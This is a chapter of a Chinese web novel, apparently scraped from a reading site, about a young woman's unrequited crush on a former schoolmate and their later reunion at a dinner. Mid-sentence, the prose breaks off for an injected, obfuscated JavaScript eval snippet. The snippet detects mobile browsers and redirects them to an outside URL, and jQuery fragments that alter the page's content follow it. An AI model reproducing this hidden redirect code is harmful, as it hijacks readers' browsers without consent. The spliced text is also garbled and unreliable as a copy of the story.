86. 2023—曾经 少女心事

作品:《他像一棵树

    2023


    大学毕业后,李良月直接参加了工作,周围人读研的读研,结婚的结婚,她这个在异乡工作的单身狗着实落寞。


    下班后,先去超市买点能吃的食物,最好不用二次加工,放到微波炉里直接加热,简单吃完饭后打两把游戏,有空就看两集影视剧,没空就刷几个短视频。


    李良月爸妈只有她一个女儿,每次和爸妈视频他们都要提回到云江后的生活,那感觉好似她只是玩心重,过几年就会长大成熟,就会认同父母为她人生做的规划。现在的李良月就是在逃避现实?!!


    李良月有苦说不出,从小到大,爷爷和爸妈习惯了为她的人生做主,大事小情只在他们规划下进行,可能因为过于顺从,他们都忘了李良月有自己的想法。


    高考志愿是她听话人生的一次反叛,她推掉他们精心为她“制作”的美好人生,毅然决然走上一条不被所有人看好的歧路,有人问她后悔吗,她滚到泥土里吐出血沫“乐意得很”。


    不是赌气,不是叛逆,就是喜欢。


    李良月是个很纯粹的人,少年时喜欢一个人青年时代便执迷那一个类型,别人夸上天的绝世好男,在她眼里就是冷冰冰一服装模特,大约,入过眼的是盖世英雄,入不过的则是拖地狗熊。


    有些人她已经不想提,没缘分就是没缘分,过去就这么过去,若问她再来一次要不要更勇敢,她迟疑后嘀咕“他不喜欢我和我勇不勇敢什么关系”。


    喜欢是很难更改的事,不喜欢也是。


    “可遗憾吗?”


    李良月栽到沙发中去:“很遗憾。”


    和多数青春疼痛文学不同的是,故事女主李良月不文静不内向,甚至咋咋呼呼,喜欢与讨厌全写在脸上。她从不怀疑涂白不知道她喜欢他。


    初中时代太小,尽管只小一岁,涂白拿她当妹妹,请丁知乐吃雪糕会送她一个,给丁知乐打招呼也会给她挥挥手。


    初一车区和初二车区隔着小段路,她每次都要第一个出教室,涂白会和杨文帆一同来车区,丁知乐收拾慢,这两人走的速度不会很快,李良月总能偶遇涂白。


    涂白的鞋子很白,在光下,他那双鞋像天使的翅膀,而他本人,比丘比特射出的爱心箭还令人怦然心动。看向他时,他总会对上对方的眼睛,微笑成月牙型的美好弧度。


    温柔,斯文,奶油小生。


    李良月拿春日正午的阳光形容涂白,寒冷温暖之间,舒服清爽的“人间清洗剂”。


    李良月并不近视,涂白戴一副圆框眼镜,她便哭闹着央求妈妈带她买眼镜框,试过了三个眼镜店的数百副眼镜,她终于找到了他的类似款。


    那段时间,她没由来的傻,上课就戴上眼镜框,下课就摘掉,可能偶遇他的场合,她就戴着那副眼镜框出门。虽然他没说,但她想他肯定有惊讶的瞬间“我们镜框一样”。


    在她心里,我们镜框一样,等乎于我们是情侣款。


    丁知乐和黎一诚处朋友的日子,李良月有些不喜欢她。黎一诺是她李良月情敌,而自己从小到大的挚友竟和情敌哥哥做好朋友,再高风亮节也做不到毫无瑕疵。


    李良月在某些时刻会鄙视自己,明明劝念念不要介意,自己为什么小心眼,为什么就是跨越不了那关。


    她是想问题很快的人,不久之后就自愈了,念念她不会放弃,可黎一诚,她不要同他说一句话。


    黎一诺喜欢涂白与李良月不同。涂白人长得帅,笑起来好看,人品好,学习好,李良月贪图他这些闪光点,而黎一诺竟然恶趣味到喜欢他背影喜欢他后脑勺。


    初中时代的黎一诺很烦人,说话夸张,声调拖老长,拿班长当皇帝当,谁违背她意愿就要受到身体和心理上的双重折磨,打扫班级卫生角和同她指桑骂槐是李良月的家常便饭。


    她们争了三年,吵了三年,好似涂白真的会在她们之间做选择,多年后在小街道重逢,黎一诺竟然一口一个宝地唤她,而她竟然会牵起黎一诺的手。


    咳,李良月想说,她们真天真,试图用碎片化的肤浅印象去拼凑一个活生生的人,比起那么多光环,凡人身上,应该是有血有肉重要。


    可不信上帝的李良月忽视了一个致命问题,涂白的确是个有血有肉的人。


    涂白朋友圈公布和女友合照的那天,李良月吃着花生米喝了两瓶白酒,初中时代年纪小,高中时代为了前途去艺考,好不容易上了大学,暗恋的人有了自己爱的人。


    残酷的狗血剧。


    李良月逃避和涂白见面的机会,虽然两人没机会见面,但多年喜欢已然将某些东西封死了,她不愿意去碰。


    但生活往往戏剧化。涂白是杨文帆死党,而李良月是丁知乐死党,这对小情侣是喜欢分享生活的人,闲暇时候他们经常组局,组局自然少不了李良月,有一次涂白也来赴宴。


    涂白做了手术,他不再戴眼镜,没有眼镜的他冷冰冰,要吃掉两根士力架才能靠近,这和李良月记忆里的白月光有差别,她不由得偷看了几眼。


    度数高时眼镜会使人的眼睛变小,没有眼镜的涂白只是将变小的那份还了回来,剑眉星眸的,与其说是高冷,不如说是气质高妙。


    明目张胆的偷看太容易抓包,丁知乐用脚碰了李良月好几下,李良月嘿嘿笑,脸蛋埋到米饭碗里深呼吸。


    那时涂白好像在和杨文帆讨论什么项目,非专业领域李良月插不上话,丁知乐懒得听无聊话题,便瞅着李良月的脸分析面部表情。


    她用唇语告诉李良月:“别藏了,眼睛瞒不住。”


    李良月的心开始咕咚咕咚冒泡,还没泛滥到抑制不住的程度,讨论项目的两人结束了话题,杨文


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15701314|163257||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    帆给丁知乐夹了块鸡翅,涂白是有女朋友的人,况且两人顶多是校友关系,李良月没想他能真有所表示。


    可下一秒涂白脸不红心不跳地问出了口:“你需要吗?”


    李良月当时脑袋迷迷糊糊:“什么?”


    涂白用多的那双公筷夹了鸡翅给她,非单身人士对待异性的度很难把握,可涂白恰到好处的绅士风度令李良月这片情感荒漠结出了鲜美硕果,他给她解围,不越线,又不尴尬。


    吃完饭李良月要回家,涂白也要回去,两人一前一后下了楼,胆小鬼李良月不敢同他social,怕自己隐藏不住,又怕处境难堪得朋友都做不成。


    涂白主动和她聊天,话题不冒犯也不硬亲密,平日不知他是这样的人,说话碎碎念,适当语境下改变声调,他聊自己最近工作中的趣事,关键时刻蜻蜓点水掠过,绝不流露一丝感情。


    他的坦荡尊重令李良月的心理防线破碎,她忽然抬起头看他的眼睛。


    “有沙子吗?”他用手揉眼睛。


    李良月挪开目光:“我记得你之前戴眼镜。”


    涂白点头:“好像咱俩款式差不多。”


    李良月的心怦怦乱跳,祷告被人听到,那个人还是自己心房上的人,她难以控制情绪,激动之下,口不择言:“其实我从来没有近视过,只是……”


    太晚了。李良月又把吞到嘴边的话咽下。


    涂白眼睛眨得飞快,他“哦”了一声将她掉到地上的话接起来:“我没近视时也想戴眼镜……”


    “因为看起来像好学生?”


    “不,因为大多数人都戴,我没有的话,我心里痒。”


    ……


    他们在杨文帆家老房子吃的饭,回到东城要一段路程,涂白放了流行音乐,两人之间的交谈也一直没停。虽说是场面话,但并不尴尬。


    临下车前李良月同涂白道别:“什么时候带你女朋友给我们瞧瞧?”


    “你们?”涂白看李良月,“我会的,你也要幸福。”


    李良月挠头:“如果能早一点,会不会不一样?”


    涂白笑着为她开车门:“人生的幸福和早晚无关,我希望你幸福。”


    忘记在哪里看过的一句话了,爱一个人能低到尘埃里,李良月的尘埃与传统意义上不同,但关于年少时代的全部只有那两个字,那一个人。


    李良月是个多酷多潇洒的人,想和谁撕破脸就撕了,想学自己喜欢的专业就学了,父母和爷爷拴不住她,可这么多年,这份单向的感情输入攥牢了她。


    谁不想年少时代遇到真爱,谁不想真爱像自己爱他一样爱,可没有办法,不喜欢就是不喜欢。和黎一诺打一万次架,无视黎一诚十万次,她和那人始终无缘无分。


    人生不过三万天,李良月要好好想想,去追自己的幸福了。